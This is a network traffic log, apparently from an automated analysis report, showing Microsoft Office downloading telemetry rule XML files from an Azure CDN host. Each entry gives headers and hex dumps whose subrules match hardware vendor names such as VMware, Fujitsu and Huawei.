Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061007Z-178bfbc474bmqmgjhC1NYCy16c000000012000000000hd5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061007Z-178bfbc474bgvl54hC1NYCsfuw00000000z000000000mt0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061007Z-178bfbc474bv7whqhC1NYC1fg40000000140000000004d6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:07 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061007Z-178bfbc474bmqmgjhC1NYCy16c000000014g0000000093hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:09 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:09 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061009Z-178bfbc474bscnbchC1NYCe7eg000000016g00000000b8xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:09 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061009Z-1777c6cb754mqztshC1TEB4mkc0000000apg00000000fhun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:09 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061009Z-178bfbc474bv587zhC1NYCny5w00000000z0000000007fh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:09 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:09 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061009Z-178bfbc474bscnbchC1NYCe7eg000000013000000000s55p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:11 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:11 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061011Z-178bfbc474bwlrhlhC1NYCy3kg000000015g0000000010n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:11 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061011Z-178bfbc474bnwsh4hC1NYC2ubs000000011g00000000m58s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:11 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061011Z-178bfbc474bv587zhC1NYCny5w00000000zg000000005n4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:11 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061011Z-178bfbc474bw8bwphC1NYC38b400000000u000000000mdq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 